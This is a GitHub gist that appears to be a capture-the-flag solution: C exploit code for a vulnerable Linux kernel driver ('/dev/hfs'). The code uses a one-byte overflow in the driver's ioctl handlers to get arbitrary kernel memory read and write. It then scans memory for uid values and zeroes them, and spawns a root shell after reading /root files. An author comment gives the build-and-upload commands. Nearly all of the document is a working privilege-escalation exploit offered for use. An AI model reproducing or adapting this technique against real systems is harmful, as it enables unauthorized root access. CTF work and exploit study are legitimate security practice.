Skip to content

Instantly share code, notes, and snippets.

@junorouse
Created April 6, 2019 16:55
Show Gist options
  • Save junorouse/2e2be1727a8078e5f043ffc2e03f5528 to your computer and use it in GitHub Desktop.
Save junorouse/2e2be1727a8078e5f043ffc2e03f5528 to your computer and use it in GitHub Desktop.
midnight-hfsipc
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#define HFS_CREATE 0xABCD0001
#define HFS_DESTROY 0xABCD0002
#define HFS_READ 0xABCD0003
#define HFS_WRITE 0xABCD0004
// from gist
void dumpHex(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
struct HFS_CREATE_DATA {
uint64_t HFS_ID;
uint64_t HFS_SIZE;
};
struct HFS_DESTROY_DATA {
uint64_t HFS_ID;
};
struct HFS_READ_DATA {
uint64_t HFS_ID;
uint64_t HFS_SIZE;
char** USER_BUF;
};
struct HFS_WRITE_DATA {
uint64_t HFS_ID;
uint64_t HFS_SIZE;
char* USER_BUF;
};
int fd;
long long int ret;
unsigned char buf[0x1000];
unsigned char i_buf[0x1000];
unsigned char w_buf[0x1000];
struct HFS_CREATE_DATA hcd;
struct HFS_DESTROY_DATA hdd;
struct HFS_READ_DATA hrd;
struct HFS_WRITE_DATA hwd;
void aWrite(uint64_t ptr, uint64_t size) {
memset(buf, 0, 0x1000);
hwd.HFS_ID = 0x70;
hwd.HFS_SIZE = 0x50;
hwd.USER_BUF = buf;
memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // size
memcpy(buf+0x30, "\x61\x00\x00\x00\x00\x00\x00\x00", 0x08); // next obj header (id)
memcpy(buf+0x30+0x8, &ptr, 0x08); // next obj ptr
memcpy(buf+0x30+0x10, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x08); // next obj size
ret = ioctl(fd, HFS_WRITE, &hwd);
printf("write ret: %llx\n", ret);
memset(w_buf, 0, 0x1000);
hwd.HFS_ID = 0x61;
hwd.HFS_SIZE = size;
hwd.USER_BUF = w_buf;
ret = ioctl(fd, HFS_WRITE, &hwd);
printf("overwrite ret: %llx\n", ret);
}
void aRead(uint64_t ptr, uint64_t size) {
memset(buf, 0, 0x1000);
hwd.HFS_ID = 0x70;
hwd.HFS_SIZE = 0x50;
hwd.USER_BUF = buf;
memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // size
memcpy(buf+0x30, "\x61\x00\x00\x00\x00\x00\x00\x00", 0x08); // next obj header (id)
memcpy(buf+0x30+0x8, &ptr, 0x08); // next obj ptr
memcpy(buf+0x30+0x10, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x08); // next obj size
ioctl(fd, HFS_WRITE, &hwd);
memset(i_buf, 0, 0x1000);
hrd.HFS_ID = 0x61;
hrd.HFS_SIZE = size;
hrd.USER_BUF = i_buf;
ioctl(fd, HFS_READ, &hrd);
}
int main(int argc, char **argv) {
fd = open(argv[1], O_RDWR);
if (fd < 0) {
printf("failed to open ioctl\n");
exit(-1);
return -1;
}
hcd.HFS_ID = 0x4140;
hcd.HFS_SIZE = 0x20;
ret = ioctl(fd, HFS_CREATE, &hcd);
printf("ret: %llx\n", ret); // pad for offset
hcd.HFS_ID = 0x4142;
hcd.HFS_SIZE = 0x20;
ret = ioctl(fd, HFS_CREATE, &hcd);
printf("ret: %llx\n", ret);
hcd.HFS_ID = 0x00;
hcd.HFS_SIZE = 0x20;
ret = ioctl(fd, HFS_CREATE, &hcd);
printf("x ret: %llx\n", ret);
hcd.HFS_ID = 0x60; // vuln object
hcd.HFS_SIZE = 0x20;
ret = ioctl(fd, HFS_CREATE, &hcd);
printf("ret: %llx\n", ret);
hwd.HFS_ID = 0x60;
hwd.HFS_SIZE = 0x21;
hwd.USER_BUF = buf;
memcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x28", 0x21); // need to fit the offset.
ret = ioctl(fd, HFS_WRITE, &hwd);
printf("write ret: %llx\n", ret);
hcd.HFS_ID = 0x61; // vuln object
hcd.HFS_SIZE = 0x20;
ret = ioctl(fd, HFS_CREATE, &hcd);
printf("ret: %llx\n", ret);
hcd.HFS_ID = 0x62; // vuln object
hcd.HFS_SIZE = 0x20;
ret = ioctl(fd, HFS_CREATE, &hcd);
printf("ret: %llx\n", ret);
hwd.HFS_ID = 0x61;
hwd.HFS_SIZE = 0x21;
hwd.USER_BUF = buf;
printf("[+] Overwriting Offset ..\n");
memcpy(buf+0x10+0x8, "\x70\x00\x00\x00\x00\x00\x00\x00", 0x8); // overwrite id
memcpy(buf+0x10+0x10, "\x50", 0x1); // overwrite offset
ret = ioctl(fd, HFS_WRITE, &hwd);
printf("write ret: %llx\n", ret);
// overwrite size
hwd.HFS_ID = 0x70;
hwd.HFS_SIZE = 0x8;
hwd.USER_BUF = buf;
printf("[+] Overwriting Size ..\n");
memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // overwrite size
ret = ioctl(fd, HFS_WRITE, &hwd);
printf("write ret: %llx\n", ret);
for (uint64_t i=0xffff880005000000; i<=0xffff880006fff000; i+=0x1000) {
aRead(i, 0x1000);
for (int j=0; j< 0x1000; j+= 4) {
if (i_buf[j] == 0xe8 && i_buf[j+1] == 0x03 && i_buf[j+2] == 0x00&& i_buf[j+3] == 0x00) {
printf("found!: %llx\n", i+j);
memset(w_buf, 0, 4);
aWrite(i+j, 4);
}
}
// printf("[%llx]\n", i);
// dumpHex(i_buf, 0x1000);
}
aRead(0xffffffffa0000000, 0x100);
dumpHex(i_buf, 0x100);
setuid(0);
system("ls -al /root");
system("cat /root/*");
system("/bin/sh");
return 0;
}
@junorouse
Copy link
Author

gcc -o exploit exploit.c
tar -czf x.tar.gz exploit
base64 x.tar.gz
cat > x
base64 -d x > y
tar -xvf y
./exploit /dev/hfs

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment